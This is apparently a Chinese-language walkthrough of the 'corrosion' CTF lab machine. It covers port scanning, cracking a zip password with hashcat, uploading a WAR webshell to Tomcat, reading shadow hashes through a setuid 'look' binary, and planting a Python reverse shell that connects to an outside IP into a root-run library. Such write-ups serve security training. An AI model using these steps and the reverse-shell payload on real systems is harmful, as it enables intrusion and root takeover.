WEB

扫全端口。

15. corrosion

发现80 端口 apache2 默认页面

15. corrosion

8080 端口是 tomcat 的页面

15. corrosion

分别扫两个站点的目录,但是 80 端口没有什么东西,8080端口有以下内容。

15. corrosion

backup.zip 很瞩目,值得一看。此外 readme.txt 发现以下内容

15. corrosion

压缩包下载下来发现需要密码。

15. corrosion

使用 hashcat 进行破解。rockyou.txt 这个字典包含了 3 kw 左右的常用密码。rockyou/rockyou.txt.tar.gz at master · zacheller/rockyou · GitHub

zip2john backup.zip  > zip.john
# 去掉无用的前后缀
hashcat -m 17220 -a 0 zip.john dict/password/rockyou.txt

去掉 zip.john 中无用的前后缀,以便可以被 hashcat 识别

15. corrosion

根据hash 内容可知,应选择 17220

15. corrosion15. corrosion

最终密码 @administrator_hi5

解压后有以下文件,最值得注意的就是 tomcat 的凭证

15. corrosion

使用凭证登录到 tomcat 后台,上传 war 包

webshell/webshell.war at master · BustedSec/webshell · GitHub

15. corrosion

java runtime exec 命令需要进行编码

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

15. corrosion

进行执行,成功获得 webshell

15. corrosion

提权

利用获取的密码尝试密码喷洒

15. corrosion

浏览其家目录文件,发现 look 命令。具有 s 权限。

15. corrosion

用它查看 shadow 密码。

15. corrosion

使用 hashcat 进行破解

hashcat  -m 1800 -a 0  zip.john dict/password/rockyou.txt  -o pass

成功破解 randy 用户口令。

15. corrosion

使用 ssh 切换到 randy 用户

15. corrosion

发现其可以以 root 用户执行 python 脚本。

15. corrosion15. corrosion

那就直接往base64 库里面写后门。搜索base64 库文件,结合 python 版本,可知应该修改最后一个。

15. corrosion
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.128",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

将这段代码插入到 base64 库中。

15. corrosion

监听端口,进行执行

15. corrosion

成功获取 root

15. corrosion

相关文章: